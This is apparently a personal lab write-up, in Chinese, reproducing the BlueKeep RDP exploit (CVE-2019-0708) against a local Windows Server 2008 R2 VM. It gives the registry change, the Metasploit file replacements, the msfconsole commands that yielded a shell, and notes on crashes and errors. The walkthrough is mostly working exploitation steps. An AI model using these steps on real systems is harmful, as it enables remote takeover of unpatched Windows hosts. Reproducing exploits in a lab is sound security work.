Windows RDP:Windows下自带的一款远程桌面服务
使用环境:本地搭建的环境
复现版本:2008_r2_standard_zh-chs
靶机环境:2008_r2_standard_zh-chs
前提条件:
2008_r2_standard_zh-chs修改注册表值项HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp\fDisableCam的值为1
(有的文章指出要修改的注册表值项为HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal\Server\WinStations\rdpwd\fDisableCam,但我的系统没有值项rdpwd,而在项RDP-Tcp下有值项fDisableCam)
Windows Server 2008 R2需要修改注册表
Windows Server 2008(还没尝试,但应该和Windows Server 2008 R2一样)
Windows 7无利用条件
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
攻击环境:kali_x64_en-us
将如下3个文件替换msf中默认的文件
cp ./rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp ./rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/(有的文章中给出的目录是/usr/share/metasploit-framework/modules/auxiliary/scanner/,我想应该是少写了rdp/)
cp ./cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
将如下1个文件添加到msf中
cp ./cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
监听meterpreter:
msfconsole
search 0708
use windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.149.130
run
选择目标为3(vmware)
共尝试了4次:
第一次没修改注册表,系统蓝屏
第二次修改注册表后,成功拿到shell
第三次修改注册表后,系统蓝屏
第四次修改注册表后,报错Connection reset by peer
结论,08 r2需要修改注册表,而且利用不稳定
坑0:Exploit aborted due to failure: bad-config: Set the most appropriate target manually
表示需要设置对应的目标
坑1:Exploit failed: NameError undefined local variable or method
需要额外修改三个文件
坑2:Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
未知
rapid7/metasploit-framework#12283
http://blog.xkkhh.cn/archives/535